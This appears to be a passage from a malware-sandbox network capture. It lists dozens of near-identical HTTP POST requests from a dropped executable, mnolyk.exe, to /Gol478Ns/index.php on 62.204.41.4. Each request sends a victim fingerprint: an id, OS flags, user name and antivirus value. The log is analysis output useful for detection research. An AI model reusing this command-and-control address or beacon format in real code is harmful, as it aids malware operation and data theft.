Feb 7, 2023 23:10:02.294847965 CET	791	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:02.357384920 CET	791	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
677	192.168.2.7	50372	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:02.525801897 CET	792	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:02.587749004 CET	792	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
678	192.168.2.7	50373	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:02.763122082 CET	793	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:02.828680038 CET	793	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
679	192.168.2.7	50374	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:02.999700069 CET	794	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:03.064282894 CET	794	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	49763	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:18.271872044 CET	183	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:18.334903955 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
680	192.168.2.7	50375	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:03.233760118 CET	795	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:03.297410011 CET	795	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
681	192.168.2.7	50376	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:03.465876102 CET	796	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:03.528662920 CET	796	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
682	192.168.2.7	50377	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:03.701998949 CET	797	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:03.765979052 CET	797	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
683	192.168.2.7	50378	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:03.940155983 CET	798	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:04.004148006 CET	798	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
684	192.168.2.7	50379	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:04.185148001 CET	799	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:04.248972893 CET	799	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
685	192.168.2.7	50380	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:04.421525002 CET	800	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:04.488599062 CET	800	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
686	192.168.2.7	50381	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:04.673243999 CET	801	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:04.736589909 CET	801	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
687	192.168.2.7	50382	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:04.927710056 CET	802	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:04.992121935 CET	802	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
688	192.168.2.7	50383	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:05.178761959 CET	803	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:05.245376110 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
689	192.168.2.7	50384	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:05.420068026 CET	804	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:05.483033895 CET	804	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	49764	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:18.587959051 CET	184	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:18.652221918 CET	184	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
690	192.168.2.7	50385	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:05.658909082 CET	805	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:05.722368002 CET	805	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
691	192.168.2.7	50386	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:05.891433001 CET	806	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:05.956211090 CET	806	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
692	192.168.2.7	50387	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:06.125158072 CET	807	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:06.190597057 CET	807	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
693	192.168.2.7	50388	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:06.372796059 CET	808	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:06.436383963 CET	808	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
694	192.168.2.7	50389	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:06.609150887 CET	809	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:06.672586918 CET	809	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
695	192.168.2.7	50390	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:06.856141090 CET	810	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
